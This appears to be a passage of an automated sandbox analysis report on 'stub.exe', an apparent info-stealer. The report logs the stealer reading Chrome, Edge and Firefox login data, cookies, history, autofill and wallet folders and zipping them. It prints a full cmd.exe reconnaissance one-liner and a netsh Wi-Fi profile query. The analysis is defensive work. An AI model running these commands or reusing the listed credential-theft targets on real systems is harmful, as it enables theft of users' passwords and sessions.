Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2918063365piupsah.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\to-be-removed VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: \Device\CdRom0\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Games VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox\History.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\system_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Sessions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Tokens VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Wallets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\system_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox\History.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

Code function: 3_2_00007FFBAA7FBC74 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_00007FFBAA7FBC74

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

